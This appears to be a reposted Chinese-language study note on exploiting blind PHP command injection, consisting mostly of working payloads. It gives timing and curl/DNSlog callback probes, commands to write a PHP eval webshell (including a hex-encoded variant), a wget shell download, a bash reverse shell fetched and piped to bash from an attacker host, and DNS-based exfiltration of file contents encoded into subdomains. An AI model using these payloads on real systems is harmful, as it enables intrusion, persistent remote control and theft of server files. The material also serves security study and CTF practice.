php命令執行無回顯判斷及利用方法


本文由學習https://xz.aliyun.com/t/8125中收獲得知識而來,附帶個人的一些思考。

 

 

甲、php無回顯時命令注入判斷方法

 

利用延時

ip=|sleep 5

HTTP請求

ip=|Curl 'http://x.x.x.x:233'

Nc -lvv -p 233

dnslog

和http請求判斷方法差不多,ip換成dns的分配域名的三級域名。

ceye.io中使用分配的二級域名的三級域名。例如1.2.ceye.io

乙、webshell

1、寫webshell

在cmd環境下,若直接使用echo寫入shell.php或jsp等后綴名無效時,可以嘗試寫入txt或其他文件,再使用rename命令重命名。Rename 1.txt 1.php

其他環境中方法類似。

 

echo "<?php @eval(\$_POST[123]); ?>" > webshell.txt

//寫shell

echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.txt

//將輸入的十六進制字符串解碼后寫入文件

Mv webshell.txt webshell.php

2、遠程下載shell

wget 網址 -O webshell.php

反彈shell

A:

Nc -lvv -p 2333

創建站點,新建文件test,內容為 bash -i >& /dev/tcp/A的ip/2333 0>&1

B:

Ip=|curl A的ip/test|bash

 

丙、讀文件

 

1、有權限,調用/bin/cat

2、無權限,使用下載

1)將無法讀取的文件,寫入到可讀取的文件類型中。

cat flag.php > flag.txt或

cat flag.php >> flag.txt

 

2)cp flag.php flag.txt

3)mv flag.php flag.txt

4)tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php

 

3、dnslog,無回顯

注:此方法僅限小文件讀取,因為編碼后字符串可能過長,而域名最長為63位,所以大文件無法通過此方法讀取。

curl `命令`.域名

ip=|curl 1.2.ceye.io

ip=|curl 'cat<flag.php|base64'.2.ceye.io

//<代替空格,管道符對讀取內容做base64編碼

使用base編碼后由於可能有特殊字符,無法被識別。

 

 

 

改為16進制,空格以$IFS替換。

curl `cat<1.txt|xxd$IFS-ps`.dr2i9v.dnslog.cn

但使用xxd默認每行16個字符,換行后不帶二級域名的就無法訪問。

 

 

 

xxd可指定每行字符得數量,-c最多256個字符

重新構造

curl `cat<1.txt|xxd$IFS-ps$IFS-c256`.dr2i9v.dnslog.cn

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM